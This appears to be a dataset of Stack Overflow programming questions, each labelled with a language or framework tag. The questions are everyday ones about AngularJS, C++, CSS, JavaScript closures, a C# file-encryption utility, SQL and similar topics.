create a save function for multiple values  i ve created a table called <code>trailers</code>. this table has two columns  a <code>movie_id</code> and a <code>link</code> column.    i ve created a jsonp function to get the data i want to save into the table    <pre><code>service.trailer = function(youtube_link){   return httppromise(     baseurl + youtube_link +  /videos api_key=a8f7039633f2065942cd8**8d7cadad4&amp;callback=json_callback    ) }; </code></pre>   this is the jsonp output from the request    <pre><code>{ id :157336  results :[   { id : 53db3c790e0a26189a000d09   iso_639_1 : en   key : epbkgoigaxy   name : trailer 3   site : youtube   size :1080  type : trailer }    { id : 550df44b9251413554004d43   iso_639_1 : en   key : klyknstjk0w   name : own it today   site : youtube   size :720  type : trailer }    { id : 533ec6fcc3a3685448009ccc   iso_639_1 : en   key : nyc6rjeee0u   name : teaser   site : youtube   size :720  type : trailer }    { id : 5376ab510e0a26141c0005a8   iso_639_1 : en   key : zswdzvtxt7e   name : trailer   site : youtube   size :720  type : trailer }    { id : 545da247c3a3685362005187   iso_639_1 : en   key : lm8p5rlrsky   name : trailer 2   site : youtube   size :1080  type : trailer } ]} </code></pre>   the above data is from the movie interstellar and it has 5 objects. now i want to take the <code>key</code> value from each object and save it in my <code>trailer</code> table with the corresponding movie_id  which in this example is <code>157336</code>. i am using a ruby on rails backend with a sqlite database.    i think i need to use <code>foreach</code> and loop through each result and use a create function to save the data in the table. something like this    <pre><code>movieadd.trailer(movie.id)   .then(function(response){     $scope.youtubetrailer = [];     angular.foreach(response.results  function(item){       if (item.hasownproperty( key )) {         console.log ( loop through results. )       }     }) </code></pre>   this <code>foreach</code> function now loops through each value  but i don t know how to get the data in my database.,angularjs
c++: swapping characters by ref  i have implemented the swap via function for two numbers and this works well. however  i am now trying to swap two character strings but i receive the names in the same order. would anybody know where i am going wrong or what i could do to have the names change positions  here is an example of the code below:    <pre><code>#include  stdafx.h  #include &lt;cstring&gt; #include &lt;iostream&gt; #include &lt;string&gt;  using namespace std;  void swapages (int &amp;age1  int &amp;age2);            void swapname(char *person1  char *person2);  int _tmain(int argc  _tchar*argv[]) {     char person1[] =  alex ;     char person2[] =  toby ;     int age1 = 22;     int age2 = 27;       cout &lt;&lt; endl &lt;&lt;  person1 is called   &lt;&lt; person1;     cout &lt;&lt;   and is   &lt;&lt; age1 &lt;&lt;   years old.  &lt;&lt; endl;     cout &lt;&lt;  person2 is called   &lt;&lt; person2;     cout &lt;&lt;   and is   &lt;&lt; age2 &lt;&lt;   years old.  &lt;&lt; endl;      swapname(person1 person2);     swapages(age1 age2);     cout &lt;&lt; endl &lt;&lt;  swap names...  &lt;&lt; endl;     cout &lt;&lt; endl &lt;&lt;  person1 is now called   &lt;&lt; person1;     cout &lt;&lt;   and is   &lt;&lt; age1 &lt;&lt;   years old.  &lt;&lt; endl;     cout &lt;&lt;  person2 is now called   &lt;&lt; person2;     cout &lt;&lt;   and is   &lt;&lt; age2 &lt;&lt;   years old.  &lt;&lt; endl;      system( pause );     return 0; }  void swapages(int &amp;age1  int &amp;age2) {     int tmp = age2;     age2 = age1;     age1 = tmp; }  void swapname(char *person1  char *person2) {     char* temp = person2;     person2 = person1;     person1 = temp; } </code></pre>,c++
removing spacing from table cells  i have a dynamic table that i m customizing with css. for some reason it looks like my space restrictions for table cells is partially working as denoted in the picture. i am confused as to why some cells are using too much space  yet others use just enough. i don t understand why  newsslider2  reports  and rss feeds  appear to have extra padding. any idea what is causing this to happen     css:   <pre class= lang-css prettyprint-override ><code>.pindexattr table {border:1px solid black; table-layout:fixed; border-collapse: collapse; width:100%} .pindexattr td {width:10px; line-height:9px; border:1px solid black;} </code></pre>   <a href= http://jsfiddle.net/mhzfn/  rel= nofollow >jsfiddle</a>,css
modified jquery innerfade sluggish  hi.   i am using the jquery innerfade plugin to scroll through some images on my site.  innerfade is sluggish to move on firefox 3.6.3  and ie 8.  ie 8 is much worse than firefox  and chrome runs smoothly.      can you analyze my code to see what the problem is   i ve used the modified innerfade from here: <a href= http://www.stylephp.com/2009/01/17/customizing-jquery-innerfade-plug-in-adding-controls-navigation-and-caption/  rel= nofollow noreferrer >http://www.stylephp.com/2009/01/17/customizing-jquery-innerfade-plug-in-adding-controls-navigation-and-caption/</a>    my sites are here:    without bg image: <a href= http://dl.dropbox.com/u/145908/doozie2/index.html  rel= nofollow noreferrer >http://dl.dropbox.com/u/145908/doozie2/index.html</a>    with bg image: <a href= http://dl.dropbox.com/u/145908/doozie2/index2.html  rel= nofollow noreferrer >http://dl.dropbox.com/u/145908/doozie2/index2.html</a>    removing my background image fixes the situation; it s not that big of a  file.  i don t understand why that is an issue.  i am using a technique to resize the image to fit the browser window  as you can see in the css.    thanks so much.    <del>p.s.  sorry  i m a new user so i can t post more than one link.  please copy and paste the address between &lt;>.</del>,jquery
bool operation in expression <pre><code>#include &lt;iostream.h&gt; int main() {    int choice;    cin&gt;&gt;choice;    if (1&lt;=choice&lt;=3) cout&lt;&lt; good ;    else cout&lt;&lt; bad ;    return 0; } </code></pre>   how is the bool expression is evaluated  is this expression equal to   <pre><code>if ((1&lt;=choice)||(choice&lt;=3)) </code></pre>,c++
sorting a string arraylist with numbers java  hello everyone i have a code using an arraylist  these are the test inputs to be added. but after i use the sort method. the output is not the one i expected.          <pre><code>arraylist&lt;string&gt; test= new arraylist&lt;&gt;();   test.add( 2 2 17 );     test.add( 5 4 24  );   test.add( 8 1 11 );     test.add( 19 0 0 );   test.add( 2 3 21 );   test.sort(null);   </code></pre>   output :<br> 19 0 0<br> 2 2 17<br> 2 3 21<br> 5 4 24<br> 8 1 11    my desired out put should be :<br> 2 2 17<br> 2 3 21<br> 5 4 24<br> 8 1 11<br> 19 0 0    is there a way to sort  19 0 0  to be at the end  or any number to be add to make it the end of the arraylist,java
angular 1.3 one-way binding isn t working  i have a large scale angular app.  i m migrating from 1.2 to 1.3 and in the process  migrating from bindonce to angular 1.3 s native one-way binding.  the problem is that for whatever reason  the watcher s never de-register as they should with the  value stabilization algorithm   <a href= https://docs.angularjs.org/guide/expression#value-stabilization-algorithm  rel= nofollow >https://docs.angularjs.org/guide/expression#value-stabilization-algorithm</a>.    something as simple as <code>{{::var1}}</code> retains its watcher.  it results in the same total watcher count as <code>{{var1}</code>.  however  <code>&lt;span bindonce= var1  bo-text= var1 &gt;&lt;/span</code>> works great.      unfortunately  i can not replicate this in a plnkr.  i ensured my app is running angular 1.3.14.  any reason why the watcher would not de-register   i suspect it has to do with a combination of other modules that the app using but not sure how to confirm.,angularjs
bit mask operation: what does the following code mean in c   i am trying to debugging a piece of code at the moment and i could not figure it out what the following piece of code really does. could anyone help me explain or give me ideas on the functionality of the following code    <pre><code>uint8_t get_pca9955a_slave_loaded(uint8_t _slave)       {          uint8_t x = (uint8_t)(_slave / 16);         uint8_t y = (uint8_t)(_slave % 16);         uint16_t mask = 1u &lt;&lt; y;         if (check_pca9955a_slave_valid(_slave)) {            return (uint8_t)((pca9955a_slaves_loaded[x] &amp; mask)   1u : 0u);         } else {                 return 0u;                }        } </code></pre>   kind regards  cheung,c
crashing encryption/decryption program  this is my encryption/decryption code. it works well but crashes when it encrypts a file even though it still encrypts it. likewise  the program crashes when it decrypts a file even though it decrypts it.    after encryption or decryption the program gives the error  unhandled exception has occurred in your application. it also says  the path is not of a legal form .    <pre><code>using system; using system.collections.generic; using system.componentmodel; using system.data; using system.drawing; using system.linq; using system.text; using system.windows.forms; using system.io; using system.security; using system.security.cryptography; using system.diagnostics; using microsoft.visualbasic;  namespace encryption_decryption_tool {     public partial class frmmain : form     {         string strfiletoencrypt  strfiletodecrypt  stroutputencrypt  stroutputdecrypt;         system.io.filestream fsinput;          system.io.filestream fsoutput;          public frmmain()         {             initializecomponent();         }          private byte[] createkey(string strpassword)         {             //convert strpassword to an array and store in chrdata.             char[] chrdata = strpassword.tochararray();             //use intlength to get strpassword size.             int intlength = chrdata.getupperbound(0);             //declare bytdatatohash and make it the same size as chrdata.             byte[] bytdatatohash = new byte[intlength + 1];              //use for next to convert and store chrdata into bytdatatohash.             for (int i = 0; i &lt;= chrdata.getupperbound(0); i++)             {                 bytdatatohash[i] = convert.tobyte(chrdata[i]);             }              //declare what hash to use.             system.security.cryptography.sha512managed sha512 = new system.security.cryptography.sha512managed();             //declare bytresult  hash bytdatatohash and store it in bytresult.             byte[] bytresult = sha512.computehash(bytdatatohash);             //declare bytkey(31).  it will hold 256 bits.             byte[] bytkey = new byte[32];              //use for next to put a specific size (256 bits) of              //bytresult into bytkey. the 0 to 31 will put the first 256 bits             //of 512 bits into bytkey.             for (int i = 0; i &lt;= 31; i++)             {                 bytkey[i] = bytresult[i];             }              return bytkey;             //return the key.         }          private  byte[] createiv(string strpassword)         {             //convert strpassword to an array and store in chrdata.             char[] chrdata = strpassword.tochararray();             //use intlength to get strpassword size.             int intlength = chrdata.getupperbound(0);             //declare bytdatatohash and make it the same size as chrdata.             byte[] bytdatatohash = new byte[intlength + 1];              //use for next to convert and store chrdata into bytdatatohash.             for (int i = 0; i &lt;= chrdata.getupperbound(0); i++)             {                 bytdatatohash[i] = convert.tobyte(chrdata[i]);             }              //declare what hash to use.             system.security.cryptography.sha512managed sha512 = new system.security.cryptography.sha512managed();             //declare bytresult  hash bytdatatohash and store it in bytresult.             byte[] bytresult = sha512.computehash(bytdatatohash);             //declare bytiv(15).  it will hold 128 bits.             byte[] bytiv = new byte[16];              //use for next to put a specific size (128 bits) of              //bytresult into bytiv. the 0 to 30 for bytkey used the first 256 bits.             //of the hashed password. the 32 to 47 will put the next 128 bits into bytiv.             for (int i = 32; i &lt;= 47; i++)             {                 bytiv[i - 32] = bytresult[i];             }              return bytiv;             //return the iv         }         private enum cryptoaction         {             //define the enumeration for cryptoaction.             actionencrypt = 1              actiondecrypt = 2         }          private void encryptordecryptfile(string strinputfile  string stroutputfile  byte[] bytkey  byte[] bytiv  cryptoaction direction)         {             //in case of errors.             try             {                  //setup file streams to handle input and output.                 fsinput = new system.io.filestream(strinputfile  filemode.open  fileaccess.read);                 fsoutput = new system.io.filestream(stroutputfile  filemode.openorcreate  fileaccess.write);                 fsoutput.setlength(0);                 //make sure fsoutput is empty                  //declare variables for encrypt/decrypt process.                 byte[] bytbuffer = new byte[4097];                 //holds a block of bytes for processing                 long lngbytesprocessed = 0;                 //running count of bytes processed                 long lngfilelength = fsinput.length;                 //the input file s length                 int intbytesincurrentblock = 0;                 //current bytes being processed                 cryptostream cscryptostream = null;                 //declare your cryptoserviceprovider.                 system.security.cryptography.rijndaelmanaged csprijndael = new system.security.cryptography.rijndaelmanaged();                 //setup progress bar                 pbstatus.value = 0;                 pbstatus.maximum = 100;                  //determine if ecryption or decryption and setup cryptostream.                 switch (direction)                 {                     case cryptoaction.actionencrypt:                         cscryptostream = new cryptostream(fsoutput  csprijndael.createencryptor(bytkey  bytiv)  cryptostreammode.write);                          break;                     case cryptoaction.actiondecrypt:                         cscryptostream = new cryptostream(fsoutput  csprijndael.createdecryptor(bytkey  bytiv)  cryptostreammode.write);                         break;                 }                  //use while to loop until all of the file is processed.                 while (lngbytesprocessed &lt; lngfilelength)                 {                     //read file with the input filestream.                     intbytesincurrentblock = fsinput.read(bytbuffer  0  4096);                     //write output file with the cryptostream.                     cscryptostream.write(bytbuffer  0  intbytesincurrentblock);                     //update lngbytesprocessed                     lngbytesprocessed = lngbytesprocessed + convert.toint64(intbytesincurrentblock);                     //update progress bar                     pbstatus.value = convert.toint32((lngbytesprocessed / lngfilelength) * 100);                 }                  //close filestreams and cryptostream.                 cscryptostream.close();                 fsinput.close();                 fsoutput.close();                  //if encrypting then delete the original unencrypted file.                 if (direction == cryptoaction.actionencrypt)                 {                     fileinfo fileoriginal = new fileinfo(strfiletoencrypt);                     fileoriginal.delete();                 }                  //if decrypting then delete the encrypted file.                 if (direction == cryptoaction.actiondecrypt)                 {                     fileinfo fileencrypted = new fileinfo(strfiletodecrypt);                     fileencrypted.delete();                 }                  //update the user when the file is done.                 string wrap =  \r\n ;                 if (direction == cryptoaction.actionencrypt)                 {                     messagebox.show( encryption complete  + wrap + wrap +  total bytes processed =   + lngbytesprocessed.tostring()   done   messageboxbuttons.ok  messageboxicon.information);                      //update the progress bar and textboxes.                     pbstatus.value = 0;                     txtfiletoencrypt.text =  click browse to load file. ;                     txtpassencrypt.text =   ;                     txtconpassencrypt.text =   ;                     txtdestinationencrypt.text =   ;                     btnchangeencrypt.enabled = false;                     btnencrypt.enabled = false;                  }                 else                 {                     //update the user when the file is done.                    messagebox.show( decryption complete  + wrap + wrap +  total bytes processed =   + lngbytesprocessed.tostring()  done  messageboxbuttons.ok messageboxicon.information) ;                      //update the progress bar and textboxes.                     pbstatus.value = 0;                     txtfiletodecrypt.text =  click browse to load file. ;                     txtpassdecrypt.text =   ;                     txtconpassdecrypt.text =   ;                     txtdestinationdecrypt.text =   ;                     btnchangedecrypt.enabled = false;                     btndecrypt.enabled = false;                 }                   //catch file not found error.                 //if file not found             }             catch             {                 messagebox.show( please check to make sure the path and filename  +  are correct and if the file exists.    invalid path or filename   messageboxbuttons.ok  messageboxicon.information);                  //catch all other errors. and delete partial files.             }              finally             {                 fsinput.close();                 fsoutput.close();                  if (direction == cryptoaction.actiondecrypt)                 {                     fileinfo filedelete = new fileinfo(txtdestinationdecrypt.text);                     filedelete.delete();                     pbstatus.value = 0;                     txtpassdecrypt.text =   ;                     txtconpassdecrypt.text =   ;                      messagebox.show( please check to make sure that you entered the correct  +  password.   invalid password   messageboxbuttons.ok  messageboxicon.exclamation);                 }                 else                 {                     fileinfo filedelete = new fileinfo(txtdestinationencrypt.text);                     filedelete.delete();                      pbstatus.value = 0;                     txtpassencrypt.text =   ;                     txtconpassencrypt.text =   ;                      messagebox.show( this file cannot be encrypted.    file cannot be encrypted   messageboxbuttons.ok  messageboxicon.exclamation);                  }              }         }           private void btnbrowseencrypt_click(object sender  eventargs e)         {             //setup the open dialog.             openfiledialog1.filename =   ;             openfiledialog1.title =  choose a file to encrypt ;             openfiledialog1.initialdirectory =  c:\\ ;             openfiledialog1.filter =  all files (*.*) | *.* ;              //find out if the user chose a file.             if (openfiledialog1.showdialog() == dialogresult.ok)             {                 strfiletoencrypt = openfiledialog1.filename;                 txtfiletoencrypt.text = strfiletoencrypt;                  int iposition = 0;                 int i = 0;                  //get the position of the last  \  in the openfiledialog.filename path.                 //-1 is when the character your searching for is not there.                 //indexof searches from left to right.                 while (strfiletoencrypt.indexof( \\   i) != -1)                 {                     iposition = strfiletoencrypt.indexof( \\   i);                     i = iposition + 1;                 }                  //assign stroutputfile to the position after the last  \  in the path.                 //this position is the beginning of the file name.                 stroutputencrypt = strfiletoencrypt.substring(iposition + 1);                 //assign s the entire path  ending at the last  \ .                 string s = strfiletoencrypt.substring(0  iposition + 1);                 //replace the  .  in the file extension with  _ .                 stroutputencrypt = stroutputencrypt.replace( .    _ );                 //the final file name.  xxxxx.encrypt                 txtdestinationencrypt.text = s + stroutputencrypt +  .encrypt ;                 //update buttons.                 btnencrypt.enabled = true;                 btnchangeencrypt.enabled = true;              }          }          private void btnbrowsedecrypt_click(object sender  eventargs e)         {             //setup the open dialog.             openfiledialog2.filename =   ;             openfiledialog2.title =  choose a file to decrypt ;             openfiledialog2.initialdirectory =  c:\\ ;             openfiledialog2.filter =  encrypted files (*.encrypt) | *.encrypt ;              //find out if the user chose a file.             if (openfiledialog2.showdialog() == dialogresult.ok)             {                 strfiletodecrypt = openfiledialog2.filename;                 txtfiletodecrypt.text = strfiletodecrypt;                 int iposition = 0;                 int i = 0;                 //get the position of the last  \  in the openfiledialog.filename path.                 //-1 is when the character your searching for is not there.                 //indexof searches from left to right.                  while (strfiletodecrypt.indexof( \\   i) != -1)                 {                     iposition = strfiletodecrypt.indexof( \\   i);                     i = iposition + 1;                 }                  //stroutputfile = the file path minus the last 8 characters (.encrypt)                 stroutputdecrypt = strfiletodecrypt.substring(0  strfiletodecrypt.length - 8);                 //assign s the entire path  ending at the last  \ .                 string s = strfiletodecrypt.substring(0  iposition + 1);                 //assign stroutputfile to the position after the last  \  in the path.                 stroutputdecrypt = stroutputdecrypt.substring((iposition + 1));                 //replace  _  with  .                  txtdestinationdecrypt.text = s + stroutputdecrypt.replace( _    . );                 //update buttons                 btndecrypt.enabled = true;                 btnchangedecrypt.enabled = true;              }          }          private void btnchangeencrypt_click(object sender  eventargs e)         {             //setup up folder browser.             folderbrowserdialog1.description =  select a folder to place the encrypted file in. ;             //if the user selected a folder assign the path to txtdestinationencrypt.             if (folderbrowserdialog1.showdialog() == dialogresult.ok)             {                 txtdestinationencrypt.text = folderbrowserdialog1.selectedpath +  \\  + stroutputencrypt +  .encrypt ;             }          }          private void btnchangedecrypt_click(object sender  eventargs e)         {             //setup up folder browser.             folderbrowserdialog2.description =  select a folder for to place the decrypted file in. ;             //if the user selected a folder assign the path to txtdestinationdecrypt.             if (folderbrowserdialog2.showdialog() == dialogresult.ok)             {                 txtdestinationdecrypt.text = folderbrowserdialog2.selectedpath +  \\  + stroutputdecrypt.replace( _    . );             }          }          private void btnencrypt_click(object sender  eventargs e)         {             //make sure the password is correct.             if (txtconpassencrypt.text == txtpassencrypt.text)             {                 //declare variables for the key and iv.                 //the key needs to hold 256 bits and the iv 128 bits.                 byte[] bytkey = null;                 byte[] bytiv = null;                 //send the password to the createkey function.                 bytkey = createkey(txtpassencrypt.text);                 //send the password to the createiv function.                 bytiv = createiv(txtpassencrypt.text);                 //start the encryption.                 encryptordecryptfile(strfiletoencrypt  txtdestinationencrypt.text  bytkey  bytiv  cryptoaction.actionencrypt);             }             else             {                 messagebox.show ( please re-enter your password.   error  messageboxbuttons.ok  messageboxicon.exclamation);                 txtpassencrypt.text =   ;                 txtconpassencrypt.text =   ;             }          }          private void btndecrypt_click(object sender  eventargs e)         {             //make sure the password is correct.             if (txtconpassdecrypt.text == txtpassdecrypt.text)             {                 //declare variables for the key and iv.                 //the key needs to hold 256 bits and the iv 128 bits.                 byte[] bytkey = null;                 byte[] bytiv = null;                 //send the password to the createkey function.                 bytkey = createkey(txtpassdecrypt.text);                 //send the password to the createiv function.                 bytiv = createiv(txtpassdecrypt.text);                 //start the decryption.                 encryptordecryptfile(strfiletodecrypt  txtdestinationdecrypt.text  bytkey  bytiv  cryptoaction.actiondecrypt);             }             else             {                messagebox.show ( please re-enter your password.   error  messageboxbuttons.ok  messageboxicon.exclamation);                 txtpassdecrypt.text =   ;                 txtconpassdecrypt.text =   ;             }          }       } } </code></pre>   copied exception from duplicate post:   <pre><code>************* exception text ************** system.argumentexception: the path is not of a legal form.    at system.io.path.normalizepathfast(string path  boolean fullcheck)    at system.io.fileinfo..ctor(string filename)    at encryption_decryption_tool.frmmain.encryptordecryptfile(string strinputfile  string stroutputfile  byte[] bytkey  byte[] bytiv  cryptoaction direction) in c:\users\baffa\documents\visual studio 2008\projects\encryption_decryption_tool\encryption_decryption_tool\form1.cs:line 236    at encryption_decryption_tool.frmmain.btnencrypt_click(object sender  eventargs e) in c:\users\baffa\documents\visual studio 2008\projects\encryption_decryption_tool\encryption_decryption_tool\form1.cs:line 373    at system.windows.forms.control.onclick(eventargs e)    at system.windows.forms.button.onmouseup(mouseeventargs mevent)    at system.windows.forms.control.wmmouseup(message&amp; m  mousebuttons button  int32 clicks)    at system.windows.forms.control.wndproc(message&amp; m)    at system.windows.forms.buttonbase.wndproc(message&amp; m)    at system.windows.forms.button.wndproc(message&amp; m)    at system.windows.forms.control.controlnativewindow.wndproc(message&amp; m)    at system.windows.forms.nativewindow.callback(intptr hwnd  int32 msg  intptr wparam  intptr lparam) </code></pre>,c#
cut an image view using points that are drawn by using touches  thanks in advance.    i know crop an image using cgrect value and masking .but now i want to create an app in that i will draw some shape using touches and drawrect method on a imageview  and now i want to get only the part of an image within that shape only means i want to crop the original image into that shape. is it possible to do.do anyone have an idea about this.,iphone
generic sql questions  i have a table a   <pre><code>id    term 10    a 10    b 10    c 20    a 20    b 20    e </code></pre>   what s the best way to write a sql to    <ul> <li>get id 10  if i try to find (a b c)</li> <li>get nothing if i try to find (a b)</li> <li>get id 20  if i try to find not in (c d)</li> </ul>   .   <pre><code>select distinct id from tablea where term in (a b c) will return both 10 and 20  select distinct id from tablea where term in (a b) will also return both 10 and 20  select distinct id from tablea where term not in (c d) will also return both 10 and 20 </code></pre>   thanks!,sql
what does strpbrk stand for   i ve used <a href= http://linux.die.net/man/3/strpbrk  rel= noreferrer ><code>strpbrk()</code></a> occasionally while doing low-level string work in c  but i ve never been able to figure out what it stands for.  i ve always pronounced it internally in my head as  stir p bark   but that s never quite felt right.    it doesn t have an etymology as obvious as any of the other string functions  e.g. <code>strchr</code> (<strong>str</strong>ing <strong>ch</strong>a<b>r</b>acter) or <code>strspn</code> (<strong>str</strong>ing <strong>sp</strong>a<strong>n</strong>).    i vaguely recall reading somewhere that all of the original standard library functions were limited to 7-character names either to remain compatible with fortran  or because in the original c standard  identifiers longer than 7 characters were considered equivalent to their 7-character prefix or something.  can anyone confirm/deny/clarify this,c
centering img with css  below is a simplification of my html code. i want to center img c within div a without taking element b into account. b has a background image with a width of 70px and c has a width of 300px. width of div a is 50% of the screen.   <pre><code>&lt;div id= a &gt;    &lt;div id= b &gt;&lt;/div&gt;&lt;img id= c  src= x.png  /&gt; &lt;/div&gt; </code></pre>   i won t put my css code because at this point it seems as though i have tried every single possible combination of the display  margin  left properties. i m stuck and getting frustrated. help!   <pre><code>&lt;div id= a &gt;     &lt;div id= b  onclick= something()  &gt;&lt;/div&gt;     &lt;img id= c  src= x.png  /&gt; &lt;/div&gt; </code></pre>  <pre class= lang-css prettyprint-override ><code>#containsa {     position: absolute;     right: 0px;     top: 0px;     width: 50%;     height: 100%;     background: white; }  #a {     position: relative;     top: 0px;     width: 100%;     height: 70px; }  #b {     position: relative;     display: inline;     background-image: url( some.png );     height: 70px;     width: 70px;     top: 0px;     float: left; }  #b:hover {     cursor: pointer;     background-image: url( someother.png );     height: 70px;     width: 70px; }  #c {     position: absolute;     left: 50%;     transform: translatex(-50%);     height: 70px;     width: 300px; } </code></pre>,css
visual studio command prompt setting up path  i have tried to set path for visual studio command prompt but i could not.i want to set visual studio command prompt path in visual studio 2010 c# professional for windows 8 os. what is the solution for my problem,.net
how to split a string on the nth occurrence   what i want to do is to split on the nth occurrence of a string (in this case it s  \t ). this is the code i m currently using and it splits on every occurrence of  \t .   <pre><code>string[] items = input.split(new char[] { \t }  stringsplitoptions.removeemptyentries); </code></pre>   if input =  one\ttwo\tthree\tfour   my code returns the array of:   <ul> <li>one</li> <li>two</li> <li>three</li> <li>four</li> </ul>   but let s say i want to split it on every  \t  after the second  \t . so  it should return:   <ul> <li>one    two</li> <li>three</li> <li>four</li> </ul>,c#
method calls and returns  can anyone explain this to me please (i m getting so confused)    i have a button i click the button to call a method (flowcalculaton)  i set a local float var assign a nstextfield to the var to get its contents then retune the value       all builds and runs fine but i get a value of 0 to the answertext (label) but if i change float setvolume = 233 ; for example i get 233 shown in the label    <pre><code> - (ibaction)calculate:(id)sender {         appcontrols *cal =[[appcontrols alloc]init];         float callmethod = [cal flowcalculation] ;         [answertext setfloatvalue: callmethod ];         [cal release];     }       - (float) flowcalculation {         float setvolume = [volumetext floatvalue];          return setvolume ;     } </code></pre>   if i do this the same call in (flowcalculation) to volumetext gives me the nstextfield value.   <pre><code>- (ibaction)calculate:(id)sender {     //appcontrols *cal =[[appcontrols alloc]init];     //float callmethod = [cal flowcalculation] ;     [answertext setfloatvalue: [volumetext floatvalue] ];    // [cal release]; } </code></pre>   why is it not assigning [volumetext floatvalue] to the var within a method please      help appreciated.,objective-c
difference betweent this.argument and argument   i call the object methods below like this.   <pre><code>new cout( elem1 ).load(  body  )  new cout( elem1 ).display(  email  ) </code></pre>   i only use one instance at a time. because i only use one instance at a time  i want to remove <code>this.element</code> and use the passed in <code>element</code> instead.    this got me to wondering is the passed in element static or instance based.  i think it might be this.element ( instance based )...even when i don t explicitly state it.  i plan on removing all mentions of this.element for just element.    is it     note: this is returned implicitly if no other return is given.   <pre><code>var cout = function ( element )  {     var messages =      {         name:          please enter a valid name           email:         please enter a valid email           email_s:       please enter a valid email.           pass:          please enter password  6-40 characters           url:           please enter a valid url           title:         please enter a valid title           tweet:         please enter a valid tweet           empty:         please complete all fields           same:          please make emails equal           taken:         sorry  that email is taken           validate:      please contact &lt;a class= d  href= mailto:fo@foo.com &gt;support&lt;/a&gt; to reset your password      };     this.element = element;     this.display = function( type )      {         this.element.innerhtml = messages[ type ];     };     this.load = function( location )     {         new ajaxrequest().invoke(  ajax_type=async_load   function( response_text )         {             document[location].innerhtml = response_text;               new cin().init( response_text.charat( 6 ) ); // correlate this point to ajax call.         } );      }; }; </code></pre>,javascript
javascript : on click check boxes adding divs dynamically with pure java script not jquery  i am beginner for java script. i have three check boxes on my page with different ids. when i checked first check box i need to show one div. when i checked second check box include first check box   i need to split one div to two divs. as well as when i checked three boxes split one div to three divs. <strong>i need to add all these divs dynamically with java script.</strong>    observe the below image and same like i need    <img src= https://i.stack.imgur.com/g0wzn.png  alt= enter image description here >    please help me to achieve this with simple java script code not with jquery.,javascript
variable value overwritten in getjson function  i am working on a challenge in which i have to display twitch channels that are offline and online. here is the function that is having a bug:   <pre><code>function loadstreams(){   for (var i = 0; i &lt; channel_list.length; i++){     offlinename = channel_list[i];     console.log( offline name is:   + offlinename);     url =  https://wind-bow.hyperdev.space/twitch-api/streams/  + channel_list[i] +   callback=  ;      $.getjson(url  function(data){        console.log( now offline name is:   + offlinename);        console.log(data);        if (data.stream !== null){          currchannel = new channel(data.stream.channel.display_name  data.stream.channel.status);        }        else {          currchannel = new channel(offlinename   offline );        }               outarr.push(currchannel);     });       }   //showall(); } </code></pre>   channe_list is an array of string preloaded with channel names. it is defined as follows:   <pre><code>var channel_list = [ esl_sc2    ogamingsc2    cretetion    freecodecamp    storbeck    habathcx    robotcaleb    noobs2ninjas ]; </code></pre>   my code is simply go through the channel_list  fetch the json data  and return the result and create a new instance of the channel object  defined as:   <pre><code>var channel = function(name  status){   this.name = name;   this.status = status; } </code></pre>   for some reasons  in my else block  the variable  offlinename  is always overwritten by the last value of the channel_list array   noobs2ninjas . in other words  when i create an instance of the channel class in the else block   offlinename  is always  noobs2ninjas . please let me know what i am doing wrong here. here is my codepen if you would like to take a look at the whole thing:    <a href= https://codepen.io/tcao2/pen/xnbbbm editors=1010/  rel= nofollow noreferrer  title= code pen >https://codepen.io/tcao2/pen/xnbbbm editors=1010</a>,javascript
taking address of temporary [-fpermissive]  i know this question is already answered. but i just want to confirm what i understand.    here is my snippet code. it comes from <a href= https://sourcemaking.com/design_patterns/template_method/cpp/1  rel= nofollow noreferrer >this</a>.   <pre><code>#include &lt;iostream&gt; using namespace std;  class base {     void a() { cout &lt;&lt;  a   ; }     void c() { cout &lt;&lt;  c   ; }     void e() { cout &lt;&lt;  e   ; }      // 2. steps requiring peculiar implementations are  placeholders  in base class     virtual void ph1() = 0;     virtual void ph2() = 0;    public:      // 1. standardize the skeleton of an algorithm in a base class  template method      virtual ~base() = default;     void execute()     {         a();         ph1();         c();         ph2();         e();     } };  class one: public base {     // 3. derived classes implement placeholder methods     /*virtual*/ void ph1() { cout &lt;&lt;  b   ; }     /*virtual*/ void ph2() { cout &lt;&lt;  d   ; } };  class two: public base {     /*virtual*/ void ph1() { cout &lt;&lt;  2   ; }     /*virtual*/ void ph2() { cout &lt;&lt;  4   ; } };  int main() {   base *array[] =   {       &amp;one()  &amp;two()   };   for (int i = 0; i &lt; 2; i++)   {       array[i]-&gt;execute();       cout &lt;&lt;  \n ;   } } </code></pre>   when i compiled  it gives the error as the title:   <pre><code>error: taking address of temporary [-fpermissive] &amp;one()  &amp;two() error: taking address of temporary [-fpermissive] &amp;one()  &amp;two() </code></pre>   so  i try to find in the internet. and as they said:   <blockquote>    &amp;a() is creating a temporary object which gets destructed on exit of the full expression automagically...  </blockquote>   when i changed <code>error line</code>   <pre><code>&amp;one()  &amp;two() </code></pre>   to    <pre><code>new one()  new two() </code></pre>   then  it works.     but  how i make the origin code works like the author wrote  should i use <code>delete</code> like   <pre><code>delete array[i]; </code></pre>,c++
how can i cleanup ipad app from the device   i deployed my app with images for the retina display onto my ipad. those images are too big. so i want to try using normal size image. i removed my retina display images from the project. i did a cleanup and deployed the app onto my ipad. i still see the retina display image on the device. i am using cocos2d. so the retina display image files are named sprite-hd.png.    i will try testing with sprite@2x.png format. i think even after the app is deleted (long touch and then touch little x icon)  the app s resources are still the in the device.,ios
only show pictures  i have this script:   <pre><code>    $uploadsdirectory = dirname($_server[ script_filename ]) . /slides/head/ ;   if ($handle = opendir($uploadsdirectory)) {     $uplo = array(); while (false !== ($file = readdir($handle))) {     array_push($uplo  $file);}     sort($uplo sort_natural | sort_flag_case);     $user = array(); foreach($uplo as $fname) {   if($fname !=  ..  &amp;&amp; $fname !=  . ){ if(substr($fname 0 1) !=  _ )     echo  &lt;div class= bgitem  id= head &gt;$fname&lt;/div&gt; ; else     array_push($user   $fname );}}     closedir($handle);} </code></pre>   it works fine  but how can i make it so it only shows the pictures  (i have other files that aren t photos  so it displays a broken picture instead.),php
how to get resx value from other project in the same solution  i have two projects in the same solution:   <pre><code> my.solution.name.with.dots    bll    web </code></pre>   in the bll project  i create a class that need to get a global resx value from resx file that is placed in the web project. is it possible      bll can t have a reference to web project because of the project dependency,asp.net
